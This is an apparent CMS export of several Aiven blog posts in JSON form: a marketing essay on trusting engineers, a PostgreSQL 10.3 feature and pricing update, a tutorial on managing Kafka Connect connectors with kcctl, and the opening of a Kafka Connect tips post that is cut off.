\n\nSpeaking from experience, as an engineer and architect, it was always my goal to build robust software that didn’t page me on nights and weekends. I wasn’t out to use the latest gimmick or buzzword of the day. But I was always looking for the right tool for the job, because it created stability for me, my teams, my customers and my organization.\n\nI wanted to ensure that my nights and weekends were spent with friends and family, not hunkered over a keyboard looking at stacktraces. I feel most engineers can empathize with my position, and want to use technology that makes their lives easier, more stable and allow them to get the job done in a consistent and repeatable fashion.\n\nI challenge you to continue to give that trust to your engineers and architects, ensuring they feel __valued__ at your company. \n\nSo, back to “Have you hugged your foot today”. I’m not going to ask you to hug an engineer, but I will ask you to ponder the question: “Have I trusted my engineers today?”\n## Open Source Trends\n\nIn 2021, our industry saw an inflection point when open source systems became more popular than commercial proprietary systems. More than 80% of enterprises are choosing Apache Kafka over an alternative commercial streaming service. Wow!\n\nThis isn’t a fly by night trend that companies are jumping onto open source technologies, but rather a trend that has been slow and methodically __becoming a bedrock of our industry__.\n\nAiven offers 100% open source managed databases as a service (DBaaS) with no proprietary hooks. This means that what we offer is the exact same code that you could download and stand up in your own on-premises environment or cloud account, except you don’t have to.\n\nWouldn’t you want to put your faith and trust in a company that was born out of these trends?\n\n## Aiven open source House of Services\n\nThe Aiven open source House of Services offers all of these services supporting various use cases such as stream, OLTP, caching, NoSQL, time-series and large scale analytics. Aiven can support all of your use cases under one roof with tools such as Kafka, Flink, PostgreSQL, Redis and now Clickhouse.\n\nAiven has built a consistent platform for deploying and managing all of these services across 5 cloud vendors (AWS, GCP, Azure, Digital Ocean, UpCloud) allowing for over 120 regions around the globe.\n\nAll services under one roof makes your life easier by combining legal agreements, security assessments and support contracts into one sign-up. \n\nAiven takes care of everything:\n- Setup and provisioning\n- High Availability\n- Security\n- Monitoring \n\nWe make it easy. *Subscribe once. Deploy many. Scale in any direction.* You can scale either individual services or across clouds.\n\n## Building Engineering Value\nAiven can help your company grow. Your organization will be placing intrinsic trust in Aiven for your critical business needs, and Aiven will be with you every step of the way.\n\nAs a side note, I always find it funny how organizations list buildings, computers, and furniture as assets on their balance sheets, but nobody ever lists their data as an “asset” on their balance sheet. Are you kidding me? Where would you be without your data? Aiven fully understands that data is the lifeblood of a business and completely understands the trust you place in us. \n\nAs a company that was founded 6 years by 4 friends with engineering backgrounds, Aiven knows where your engineers are coming from. We’ve been in those same trenches. Aiven practices what we preach and this is why companies such as Activision Blizzard, Priceline, Toyota, and the Government of the UK, have all chosen Aiven.\n\nSo, we know what it takes to build successful engineering projects from the ground up. We built Aiven!\n\n## Aiven up your engineers\nAiven allows your engineers to do their best work in all ways.\n\n### Rapid prototyping - fail fast\nNot sure if Apache Flink will meet your Analytic Streaming needs? No need to spend 2-3 weeks learning how to install and harden a Flink deployment, simply spin up a Flink service in Aiven and within minutes you will be writing SQL statements against your live data streaming through Kafka. This allows you to make decisions quickly, yet be diligent at the same time.\n\n### Consistency across services is paramount within Aiven\nBy providing a consistent REST, Terraform, CLI and console interface for all services that we provide, across cloud and regions. No more worrying about what types of VM’s and disks to purchase from cloud providers to run Kafka, Aiven does this for you. This allows your organization to consistently grow by building common capabilities across teams.\nIn addition, with so many proprietary cloud services per cloud vendor, how do you ensure a consistent SLA in a mutli-cloud environment? We do it for you by providing a single public SLA for all services no matter where you deploy them.\n\n### Add business value\nSpend time on business problems, not hardening infrastructure.\nBuilding on the Flink example, engineers can now iterate on adding value without having to worry about the arduous task of maintaining systems under ever increasing load. Do you really want to worry if your system will fail under the stress of Cyber Monday? Of course not! Aiven services will scale to meet your demands.\n\nSimply put, Aiven lets you get the *important* things DONE!\n## Aiven: A developer focused platform\nSo how does this all tie back to the idea of *trust and value*?\n\nWell, with Aiven, you are going to have a wide range of tactical benefits to build value within your business, technical differences that make everyone’s lives a bit better.\n### 100% open source - no strings attached\nAiven allows you to get the best of the cloud, as many eyes make all bugs small.\n\nAiven contributes back upstream: nearly 4% of our workforce is solely dedicated to giving back and contributing to open source projects. And not just the projects that we offer but a wide variety.\n### Predictable TCO with stable 100% all inclusive pricing\nRead my lips: No Networking Cost for ingress or egress traffic EVER.\n\nAiven only charges for computation, RAM and storage, so your services can have a consistent TCO month over month.\n\nGone are the days of having to figure out what are your expected IOPS or network throughput for a system that you haven’t even built yet.\n### Enterprise grade services at no extra cost\nAll Aiven services have High Availability, no downtime for upgrades, downgrades, or patching, and simple 1 click migration across clouds. All this is included by default with every Aiven service.\n\nBecause we do not charge for networking, cross-cloud disaster recovery (DR) strategies are now reality. You can be multi-cloud right out of the gate with Aiven from day one with a consistent TCO.\n\nExternal integration such as [Datadog](https://help.aiven.io/en/articles/1759208-getting-started-with-datadog \"Getting started with Datadog | Aiven help\") and [Prometheus](https://help.aiven.io/en/articles/2473061-using-aiven-with-prometheus \"Using Aiven with Prometheus | Aiven help\"), as well as [GCP Cloud Logging](https://help.aiven.io/en/articles/4209837-sending-service-logs-to-google-cloud-logging \"Sending service logs to Google Cloud Logging | Aiven help\") are some of the endpoints that allow you to integrate into your existing ecosystem. Again all of this is accomplished with zero egress networking costs.\n\n100% consistent automation across all services, clouds and regions is accomplished with Terraform, Kubernetes and REST APIs. This allows for simple infrastructure as code for auditing and ease of use by only having to learn one platform.\n\n### Empowered Engineers and DevOPS personnel\nWe have heard from our customers over and over again that Aiven also fosters happy engineers, because they can work on a consistent platform, producing more value to your business.\n\nWhen they are empowered and consulted in larger decisions, engineering staffs feel valued, cultivating higher productivity and innovation \n\nAiven makes developers’ lives better, one engineer at a time.\n### Dedicated VPC Peering\nI want to give a simple explanation to one of the security postures that Aiven offers. As we have heard, cloud providers have formidable IAM capabilities, challenging even the most expert security engineers to avoid introducing security holes into your organization.\n\nAiven provides simple, yet robust, security strategies supporting public endpoints and BYOC, all the way to HIPAA and PCI enhanced security environments. \n\n![Building trust with engineers diagram](//cdn.sanity.io/images/sczeoy4w/production/6bbb167edba16e08a9a63e8117bbfc8206d64e78-2500x1437.png \"Deployment with Aiven and VPC Peering with firewall.\")\n\nThis diagram depicts our most standard deployment that our customers use which is VPC Peering. In addition, this diagram shows an optional firewall per service allowing connectivity along both the VPC peered network (center of diagram) as well as a whitelist of IP addresses for data sources outside the VPC. \n\nAiven makes this complex networking setup simple to configure: systems external to the VPC, like IOT sensors, can publish information directly to your Aiven services.\n\n### Aiven builds solutions\nAiven offers the best open source tools to build solutions for your business. As the open source trend in the industry continues, we are seeing more and more open source frameworks coming out today that rely on integration with persistence, metrics or logging tools. \n\nWhy choose an open source framework yet use proprietary infrastructure? Does that really make sense? I don’t think it does.\n\nAs an example, Wordpress can be easily configured to point at an [Aiven for MySQL](https://aiven.io/mysql \"Aiven for MySQL product page\") and [Aiven for Caching](https://aiven.io/caching \"Aiven for Caching product page\") services for tracking users and caching content. Additionally, add monitoring of your Aiven services with [Aiven for M3](https://aiven.io/m3 \"Aiven for M3 product page\") + [Aiven for Grafana](https://aiven.io/grafana \"Aiven for Grafana product page\") to ensure that your services are always running healthy and meeting your customers demands.\n\n![Aiven and Temporal](//cdn.sanity.io/images/sczeoy4w/production/5e10496a7208d3e640c03d0f5759256bec347b76-2500x2500.png \"Aiven and Temporal\")\n\nOne of the newer kids on the block to open source software is the [Temporal.io framework](https://aiven.io/blog/just-plug-it-in-aiven-and-temporal \"Just plug it in - Aiven \u0026 Temporal | Aiven blog\"). This framework offers a microservice orchestration platform for managing modern workflow applications. Temporal requires state persistence, monitoring and logging. With simple integration with Aiven services such as [Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL product page\"), Aiven for M3 and [Aiven for OpenSearch](https://aiven.io/opensearch \"Aiven for OpenSearch product page\"), you have immediately built a robust data infrastructure for persisting Temporal workflows. \n\nImagine having to set up and manage all of this infrastructure on your own, harden it and scale it as your workflow grows? No thanks, let [Aiven’s Terraform providers](https://github.com/aiven/terraform-provider-aiven/releases \"Aiven Terraform provider | GitHub\") do this for all of your integrated solutions.\n\n::banner[Optimizing cloud infrastructure can not only save you money, but also improve efficiency and support business growth. ]{ctaText=\"Read more on optimizing your cloud spend\" ctaLink=\"https://landing.aiven.io/optimize-your-cloud-costs-with-aiven-data-platform/\" title=\"Optimize your cloud costs with Aiven’s data platform\" theme=\"light\"}\n\n## Aiven can be your data cloud\nI hope that you have learned that Aiven is a world class provider of managed services and that we take great pride in putting your engineers' experience and your data at the core of our company's values, all the while giving back to the open source community. \n\n### P.S.\nGo to [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\") for a free trial with $300 in credits. Happy architecting!\n\n### P.P.S\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading\n\n- [Life after the GOV.UK PaaS](https://aiven.io/blog/life-after-the-gov-uk-paas)\n- [Aiven for PostgreSQL® available in DigitalOcean](https://aiven.io/blog/support-for-digitalocean-added-to-aiven)","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-31e28793e6b30061dcde25d59872f1f9ed9df717-1567x844-png","_type":"reference"}},"publishedAt":"2022-02-24T00:00:00.000Z","seo":{"metaDescription":"Jason Hepp tells you about how Aiven provides intrinsic trust and value in your organization. Find out what hugging your feet has to do with it!","metaImage":{"alt":"","asset":{"_ref":"image-31e28793e6b30061dcde25d59872f1f9ed9df717-1567x844-png","_type":"reference"}},"metaTitle":"Create trust and value with Aiven"},"slug":{"_type":"slug","current":"/blog/create-trust-and-value-with-aiven"},"subtitle":"Jason Hepp tells you about how Aiven provides intrinsic trust and value in your organization. Find out what hugging your feet has to do with it!","title":"Create trust and value with Aiven"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6N4h4Res0iJSEgzCyMheU5","_rev":"0bD0yWvurDucdXi3F3IbN9","_type":"post","_updatedAt":"2024-09-25T08:56:31Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"In our latest update to Aiven for PostgreSQL, we've released version 10.3., added new features that will further increase its functionality, and added two new larger PostgreSQL plans.\n\nLet's first take a high-level view of PostgreSQL 10.3. before we dive into our new features and standard plans.\n\n## What's new with PostgreSQL 10.3.\n\nAs with most minor releases, PostgreSQL 10.3. focused on security and bug fixes. In total, __the latest release addressed a security issue related to trojan-horse attacks and a few bug fixes__.\n\nYou can visit the [PostgreSQL site](https://www.postgresql.org/docs/10/release-10-3.html) for the exhaustive list.\n\nThe key takeaway for Aiven customers is that our timely support for PG 10.3. is just part and parcel of our commitment to providing the most complete and secure service versions.\n\n## What's new with Aiven for PostgreSQL\n\nLikewise, we work tirelessly to increase the functionality of our services so that they're in step with the evolving data environment and provide maximum value.\n\nThe below updates center around improvements in Aiven for PostgreSQL's time-series performance, use as a geographically distributed database, and value proposition.\n\n#### 1. Support for TimescaleDB\n\u003cbr\u003e\nBuilding off of the strengths of Postgres, TimescaleDB overcomes SQL's time-series limitations by promising to increase performance and make manipulation vastly easier.\n\nIn short, it increases the functionality of Aiven for PostgreSQL and provides an open-source alternative to closed- and mixed-source offerings.\n\nThat's why we've decided to become the __first DBaaS to provide support for this extension__. We're still working on the documentation; but in the meantime, feel free to contact [Aiven support](mailto:support@aiven.io) with any questions.\n\n#### 2. Geo-distributed Read Replica [Preview]\n\u003cbr\u003e\nAlthough we provide replication in our high-availability plans, we wanted to extend the capability for enterprise-level customers operating in multiple regions who need to be able to __read standby nodes with minimal latency__.\n\nOther noteworthy characteristics of this feature include the ability to change the replica to a master node in the event of failure and that read throughput can be increased linearly as more nodes are added.\n\nCurrently accessible through our command-line client, we'll be adding the feature to our console within the upcoming weeks. In the meantime, reach out to [Aiven support](mailto:support@aiven.io) for more information.\n\n#### 3. Reduced the price of Aiven plans in AWS and DigitalOcean\n\u003cbr\u003e\nAWS and DigitalOcean have reduced their infrastructure costs, in turn saving us money. It only seemed fair to pass the savings onto our customers!\n\nThe result? Significantly reduced prices for our Start-8 and above plans. In fact, __we were able to reduce the prices of some plans by up to 40%!__\n\n## Business and Premium plan extension\n\nAs you may know, we offer custom plans for customers whose needs exceed what our standard plans can cover.\n\nWhile we're happy to build custom plans, __our focus is on standard plans that can be launched immediately__,\nwhich is why we've extended our Aiven PostgreSQL Startup, Business and Premium plans.\n\n\u003ctable cellpadding=\"8\" cellspacing=\"0\" frame=\"hsides\" style=\"font-family: maven pro, sans serif; width: 100%;\"\u003e\n\n\u003ctr align=\"center\" style=\"font-size: 20px; font-weight: bold;\"\u003e\n\n\u003cth colspan=\"5\"\u003eGoogle Cloud Platform\u003c/th\u003e\n\n\u003c/tr\u003e\n\n\u003ctr style=\"font-size: 15px;\"\u003e\n\n\u003cth\u003ePlan\u003c/th\u003e\n\n\u003cth\u003eDedicated VMs\u003c/th\u003e\n\n\u003cth\u003eCPUs per VM\u003c/th\u003e\n\n\u003cth\u003eRAM per VM\u003c/th\u003e\n\n\u003cth\u003eDisk space\u003c/th\u003e\n\n\u003c/tr\u003e\n\n\u003ctr align=\"center\" style=\"background: #eee;\"\u003e\n\n\u003ctd style=\"font-weight: bold;\"\u003eStartup-360\u003c/td\u003e\n\n\u003ctd\u003e1\u003c/td\u003e\n\n\u003ctd\u003e96\u003c/td\u003e\n\n\u003ctd\u003e360 GB\u003c/td\u003e\n\n\u003ctd\u003e2980 GB\u003c/td\u003e\n\n\u003c/tr\u003e\n\n\u003ctr align=\"center\"\u003e\n\n\u003ctd style=\"font-weight: bold;\"\u003eBusiness-360\u003c/td\u003e\n\n\u003ctd\u003e2\u003c/td\u003e\n\n\u003ctd\u003e96\u003c/td\u003e\n\n\u003ctd\u003e360 GB\u003c/td\u003e\n\n\u003ctd\u003e2980 GB\u003c/td\u003e\n\n\u003c/tr\u003e\n\n\u003ctr align=\"center\" style=\"background: #eee;\"\u003e\n\n\u003ctd style=\"font-weight: bold;\"\u003ePremium-360\u003c/td\u003e\n\n\u003ctd\u003e3\u003c/td\u003e\n\n\u003ctd\u003e96\u003c/td\u003e\n\n\u003ctd\u003e360 GB\u003c/td\u003e\n\n\u003ctd\u003e2980 GB\u003c/td\u003e\n\n\u003c/tr\u003e\n\n\u003c/table\u003e\n\n\u003cbr\u003e\n\n\u003ctable cellpadding=\"8\" cellspacing=\"0\" frame=\"hsides\" style=\"font-family: Maven Pro, sans serif; width: 100%;\"\u003e\n\n\u003ctbody\u003e\n\n\u003ctr align=\"center;\" style=\"font-size: 20px; font-weight: bold;\"\u003e\n\n\u003cth colspan=\"5\"\u003eAmazon Web Services\u003c/th\u003e\n\n\u003c/tr\u003e\n\n\u003ctr style=\"font-size: 15px;\"\u003e\n\n\u003cth\u003ePlan\u003c/th\u003e\n\n\u003cth\u003eDedicated VMs\u003c/th\u003e\n\n\u003cth\u003eCPUs per VM\u003c/th\u003e\n\n\u003cth\u003eRAM per VM\u003c/th\u003e\n\n\u003cth\u003eDisk space\u003c/th\u003e\n\n\u003c/tr\u003e\n\n\u003c/tbody\u003e\n\n\u003ctbody\u003e\n\n\u003ctr align=\"center\" style=\"background: #eee;\"\u003e\n\n\u003ctd style=\"font-weight: bold;\"\u003eStartup-480\u003c/td\u003e\n\n\u003ctd\u003e1\u003c/td\u003e\n\n\u003ctd\u003e64\u003c/td\u003e\n\n\u003ctd\u003e488 GB\u003c/td\u003e\n\n\u003ctd\u003e7200 GB\u003c/td\u003e\n\n\u003c/tr\u003e\n\n\u003ctr align=\"center\"\u003e\n\n\u003ctd style=\"font-weight: bold;\"\u003eBusiness-480\u003c/td\u003e\n\n\u003ctd\u003e2\u003c/td\u003e\n\n\u003ctd\u003e64\u003c/td\u003e\n\n\u003ctd\u003e488 GB\u003c/td\u003e\n\n\u003ctd\u003e7200 GB\u003c/td\u003e\n\n\u003c/tr\u003e\n\n\u003ctr align=\"center\" style=\"background: #eee;\"\u003e\n\n\u003ctd style=\"font-weight: bold;\"\u003ePremium-480\u003c/td\u003e\n\n\u003ctd\u003e3\u003c/td\u003e\n\n\u003ctd\u003e64\u003c/td\u003e\n\n\u003ctd\u003e488 GB\u003c/td\u003e\n\n\u003ctd\u003e7200 GB\u003c/td\u003e\n\n\u003c/tr\u003e\n\n\u003c/tbody\u003e\n\n\u003c/table\u003e\n\n\u003cspan style=\"font-size: small;\"\u003e\\*Plan specs depend on cloud and region.\u003c/span\u003e\n\n## Wrapping up\n\nAs we indicated in our [Aiven 2.0](https://aiven.io/blog/time-to-take-stock-as-aiven-goes-2) post, we'll strive to set and increase our pace over 2018 and beyond as we focus on expanding and refining our services.\n\nThat said, our focus will always be on ensuring security through timely version changes and working on feature sets that reflect the current and future needs of our customers.\n\nWe'll be moving fast, but you can keep up with us by subscribing to our [blog](https://aiven.io/blog/feed.xml) and [changelog](https://aiven.io/changelog/feed.xml) RSS feeds. Talk to you soon!\n\n\n## Further reading\n\n- [Aiven for PostgreSQL® available in DigitalOcean](https://aiven.io/blog/support-for-digitalocean-added-to-aiven)\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-80d8602d05b7a493c00543138b77075017e5ce6f-752x405-png","_type":"reference"}},"publishedAt":"2018-03-01T00:00:00.000Z","seo":{"metaDescription":"From offering TimescaleDB to lowering our prices in AWS and DigitalOcean, our PostgreSQL has undergone a few changes. Learn more here.","metaImage":{"alt":"","asset":{"_ref":"image-80d8602d05b7a493c00543138b77075017e5ce6f-752x405-png","_type":"reference"}},"metaTitle":"Aiven for PostgreSQL® gets latest update, new features, and plan sizes"},"slug":{"_type":"slug","current":"/blog/aiven-postgresql-gets-latest-update-and-new-features"},"subtitle":"From offering TimescaleDB to lowering our prices in AWS and DigitalOcean, our PostgreSQL has undergone a few changes. Learn more here.","title":"Aiven for PostgreSQL® gets latest update, new features, and plan sizes"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"416nMKY0qTdqgpEQP114Ks","_rev":"0bD0yWvurDucdXi3F3J95Y","_type":"post","_updatedAt":"2024-09-25T09:01:04Z","authors":[{"_key":"3dImkQse2fXRL7zTLzAoa1","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"Apache Kafka is widely used as a company data backbone with Kafka Connect acting as a bridge. This way Kafka can be integrated with other technologies easily, reliably and scalably. The [Kafka Connect REST APIs](https://kafka.apache.org/documentation.html#connect_rest) provide a way to manage connectors via web calls, but crafting URLs on a terminal can sometimes be tricky.\n\nIn this blog post we explore [kcctl](https://github.com/kcctl/kcctl), a new open source command line tool for Kafka Connect. You'll find out how to integrate it with Apache Kafka and manage connections to other systems.\n\nAiven offers similar functionality with the [Aiven Command Line Interface](https://github.com/aiven/aiven-client). You can use the CLI to create, drop, change, verify, pause and restore any Kafka Connect connector running on Aiven services. If all your Kafka Connect instances are Aiven services, then the Aiven command line interface is all you need. \n\nBut if you want to use the same tool for any Kafka Connect instance, be it on-premises, on Aiven, or in other cloud providers, then kcctl is your friend.\n\n## Create an Apache Kafka instance with Kafka Connect\nTo start following the process in this article, make sure you already have an Apache Kafka environment with Kafka Connect up and running. If you don't have one, don't worry: Aiven can provide one in minutes. Just create one in the Aiven Console, or in the [Aiven Command Line Interface](https://github.com/aiven/aiven-client) with the following command:\n\n```\navn service create demo-kafka               \\\n    --service-type kafka                    \\\n    --cloud google-europe-west3             \\\n    --plan business-4                       \\\n    -c kafka_connect=true                   \\\n    -c kafka.auto_create_topics_enable=true                  \n```\n\nThis command creates an Aiven for Apache Kafka cluster named `demo-kafka` with three nodes (using the `business-4` plan), in the `google-europe-west3` region and enables the automatic creation of topics and Kafka Connect. With Aiven, you can deploy Kafka Connect as part of your Kafka cluster for business and premium plans, or as a separate, standalone cluster. To read more about Aiven for Apache Kafka and related Kafka Connect topics, check out the [dedicated page](https://aiven.io/kafka-connect).\n\nLet's wait until the service is ready:\n\n```\navn service wait demo-kafka\n```\n\n## Install `kcctl`\n\nAt the time of writing, `kcctl` is an early access release. The current set of installation instructions can be found in its [GitHub repository](https://github.com/kcctl/kcctl#installation).\n\nOnce `kcctl` is installed, test that it's working in the terminal by adding the `bin` subdirectory to `PATH` and executing:\n\n```bash\nkcctl\n```\n\nIf we did everything correctly, then we should see the usage information. Now it's time to connect to our Kafka Connect cluster.\n\n## Connect\n\nIn order to plug in to Kafka Connect, first retrieve the cluster URL, which can be found using the via Aiven CLI and [jq](https://stedolan.github.io/jq/manual/), to parse the JSON output:\n\n```bash\navn service get demo-kafka --json | jq '.connection_info.kafka_connect_uri'\n```\n\nNow create a `kcctl` configuration context by executing the following command, replacing the `cluster` parameter accordingly.\n\n```bash\nkcctl config set-context \\\n    --cluster https://avnadmin:PASSWORD@demo-kafka-\u003cPROJECT_NAME\u003e.aivencloud.com:443 \\\n    my_kafka_cluster\n```\n\nThe above creates a context named `my_kafka_cluster` pointing to the `demo-kafka` instance. To verify the configuration:\n\n```bash\nkcctl info\n```\nThis retrieves its definition of the current `kcctl` configuration context:\n\n```\nURL:               https://avnadmin:PASSWORD@demo-kafka-\u003cPROJECT_NAME\u003e.aivencloud.com:443\nVersion:           2.7.2-SNAPSHOT\nCommit:            d15ddddd3ef3f5ef\nKafka Cluster ID:  -DvILyiXQxSpnFSK9M1qgQ\n```\n\n## Create a data source in PostgreSQL\n\nTo see the connectors in action, create a PostgreSQL database and configure a [Kafka Connect JDBC source connector](https://aiven.io/blog/using-kafka-connect-jdbc-source-a-postgresql-example) to bring the data into Kafka. The connector takes data from a table named `pasta` stored in a PostgreSQL database and includes it in a Kafka topic. \n\nIf you don't have a PostgreSQL database handy, you can create one at Aiven with the following [Aiven CLI](https://github.com/aiven/aiven-client) command:\n\n```bash\navn service create demo-pg               \\\n    --service-type pg                    \\\n    --cloud google-europe-west3          \\\n    --plan hobbyist\n```\n\nOnce the `demo-pg` PostgreSQL instance is up and running (use `avn service wait demo-pg` to wait for it), connect to it:\n\n```bash\navn service cli demo-pg\n```\n\nNow create a sample `pasta` table and fill it with data, using the following statements in our terminal:\n\n```sql\ncreate table pasta (id serial, name varchar, cooking_minutes int);\ninsert into pasta (name, cooking_minutes) values ('spaghetti', 8);\ninsert into pasta (name, cooking_minutes) values ('spaghettini', 6);\ninsert into pasta (name, cooking_minutes) values ('fusilli', 9);\ninsert into pasta (name, cooking_minutes) values ('trofie', 5);\n```\n\n## Create a new Kafka Connect connector\n\nOnce the source data is available, create the Kafka Connect JDBC source connector, sourcing in `incremental` mode the `pasta` table based on the `id` column. To get the required PostgreSQL connection details such as hostname, port, user and password, use this command:\n\n```\navn service get demo-pg --format '{service_uri_params}'\n```\n\nCreate a file named `my_jdbc_connect_source.json` with the following JSON content (substituting the `\u003cHOST\u003e`, `\u003cPORT\u003e` and `\u003cPASSWORD\u003e` with the actual information retrieved in the previous step):\n\n```json\n{\n    \"connector.class\": \"io.aiven.connect.jdbc.JdbcSourceConnector\",\n    \"connection.url\": \"jdbc:postgresql://\u003cHOST\u003e:\u003cPORT\u003e/defaultdb?sslmode=require\",\n    \"connection.user\": \"avnadmin\",\n    \"connection.password\": \"\u003cPASSWORD\u003e\",\n    \"table.whitelist\": \"pasta\",\n    \"mode\": \"incrementing\",\n    \"incrementing.column.name\":\"id\",\n    \"poll.interval.ms\": \"2000\",\n    \"topic.prefix\": \"pg_source_\"\n}\n```\n\nNow invoke the connector creation via `kcctl` in a new terminal window:\n\n```bash\nkcctl apply -f my_jdbc_connect_source.json --name pg-incremental-source\n```\n\nVerify that the connector was successfully created:\n\n```bash\nkcctl describe connector pg-incremental-source\n```\n\nThe command output shows the `pg-incremental-source` connector in `RUNNING` state and all the details associated with it.\n\n## Check the data in Apache Kafka with kcctl\n\nYou can also check for a new Kafka topic called `pg_source_pasta` with the same data stored in PostgreSQL, via [kcat](https://github.com/edenhill/kcat). Start by first downloading the required certificates:\n\n```\navn service user-creds-download demo-kafka \\\n    --username avnadmin                    \\\n    -d certs\n```\n\nThen create a `kcat.config` file containing the following entries:\n\n```\nbootstrap.servers=\u003cHOST\u003e:\u003cPORT\u003e\nsecurity.protocol=ssl\nssl.key.location=certs/service.key\nssl.certificate.location=certs/service.cert\nssl.ca.location=certs/ca.pem\n```\n\nAnd reading from the `pg_source_pasta` topic with the following `kcat` invocation:\n\n```\nkcat -F kcat.config -C -t pg_source_pasta\n```\n\nIf we now insert some rows in the PostgreSQL `pasta` table, the same changes appear in Kafka via `kcat`:\n\n![Gif showing Postgresql insert and related rows flowing in Kafka via kcat](//cdn.sanity.io/images/sczeoy4w/production/fee266f781e2ccbd352271c005a4a95745091c96-1242x280.gif)\n\n## Managing Kafka Connect connectors with kcctl\n\nCreating connectors is only part of the game with `kcctl` - You can also manage them! Need a list of all the connectors deployed? Just run the following command:\n\n```bash\nkcctl get connectors\n```\n\nNeed to pause and resume connectors? The code below, for example, pauses the one named `pg-incremental-source`:\n\n```\nkcctl pause connector pg-incremental-source\n```\n\nWhat type of connectors can we create? Glad you asked! The full plugin list is available with:\n\n```\nkcctl get plugins\n```\n\nThe command shows all the connector plugins available with the related type (`source` or `sink`) and version. With this command you'll be able to check the list of the managed Kafka Connect connector types you can create with Aiven for Apache Kafka.\n\n```\nTYPE     CLASS                                                                           VERSION\n source   com.couchbase.connect.kafka.CouchbaseSourceConnector                            4.0.6\n source   com.datamountaineer.streamreactor.connect.cassandra.source.CassandraSourceCon   2.1.3\n         nector\n source   com.datamountaineer.streamreactor.connect.mqtt.source.MqttSourceConnector       2.1.3\n source   com.google.pubsub.kafka.source.CloudPubSubSourceConnector                       2.7.2-SNAPSHOT\n source   com.google.pubsublite.kafka.source.PubSubLiteSourceConnector                    2.7.2-SNAPSHOT\n\n ...\n sink     io.aiven.kafka.connect.gcs.GcsSinkConnector                                     0.9.0\n sink     io.aiven.kafka.connect.http.HttpSinkConnector                                   0.4.0\n sink     io.aiven.kafka.connect.s3.AivenKafkaConnectS3SinkConnector                      2.12.0\n ...\n```\n\n## Wrapping up\n\nThe ability to manage Kafka Connect connectors from the terminal is just a few commands away. `kcctl` makes it easy to inspect, deploy, update, pause and restore any connector to our environments. This unifies the end-user experience for Apache Kafka instances deployed on-premises, self-hosted or in Aiven.\n\n__Further reading__\n* [kcctl GitHub repository](https://github.com/kcctl/kcctl)\n* [Aiven for Apache Kafka](https://aiven.io/kafka)\n* [Kafka Connect REST APIs](https://kafka.apache.org/documentation.html#connect_rest)\n* Also check out our [other blog articles on Apache Kafka](https://aiven.io/blog/category/kafka \"Articles on Apache Kafka on the Aiven blog\")!\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n\n## Further reading\n\n- [Aiven open sources Google Cloud Storage Kafka connector](https://aiven.io/blog/aiven-open-sources-google-cloud-storage-kafka-connector)","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-feaa68a7ccc222c44e7a5edbbdc65ec42d4a0666-1567x844-png","_type":"reference"}},"publishedAt":"2021-10-13T00:00:00.000Z","seo":{"metaDescription":"kcctl lets you manage all your Apache Kafka Connect instances in one command line tool, whether on-prem, Aiven, or other clouds. Find out how to use it.","metaImage":{"alt":"","asset":{"_ref":"image-feaa68a7ccc222c44e7a5edbbdc65ec42d4a0666-1567x844-png","_type":"reference"}},"metaTitle":"Manage Apache Kafka® Connect connectors with kcctl"},"slug":{"_type":"slug","current":"/blog/manage-apache-kafka-connect-connectors-with-kcctl"},"subtitle":"kcctl lets you manage all your Apache Kafka Connect instances in one command line tool, whether on-prem, Aiven, or other clouds. Find out how to use it.","title":"Manage Apache Kafka® Connect connectors with kcctl"}
{"__i18n_lang":"en","_createdAt":"2022-11-28T09:19:58Z","_id":"9de4f40b-c05c-4d3e-8ef4-1c0446f4d4a9","_rev":"Ypdm2WFkfKn13FbW5Xcs5D","_type":"post","_updatedAt":"2024-09-25T08:59:37Z","authors":[{"_key":"63f4ce106f61","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"[Apache Kafka®](https://aiven.io/docs/products/kafka/concepts) is the backbone of modern data platforms, allowing data to flow to where it is needed. Kafka Connect is the magic that enables the integration of Apache Kafka with a wide selection of different technologies as data sources or sinks by defining a few rows in a JSON configuration file.\n\nSometimes, Apache Kafka® Connect might appear as dark magic: its plethora of connectors with partially overlapping functionality, the inconsistent configurations parameters and vague error messages might give the feeling of a hidden art behind the tool. Therefore, specifically if you’re new in this field, some Kafka Connect configuration tips can make you go from willing to sacrifice a cockroach to the connect gods to a perfectly working and reliable streaming pipeline.\n\n## Tip #0: The basic rule\nBefore jumping to the tips, we need to share the fundamental law of becoming an Apache Kafka® Connect magician: WE NEED TO READ THE MANUAL!\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/b27f7fe1cd75b700912cc815384c209f706125dd-1875x1042.png)\n\nApache Kafka® Connect is solving a complex integration problem, and doing a great job in taking part of the complexity away. Still, the space is huge, with a great variety of technologies and several partially overlapping connectors solving similar integration problems.\n\nOur first duty to become the next Kafka Connect Houdini is to browse for information, understand which connectors exist for 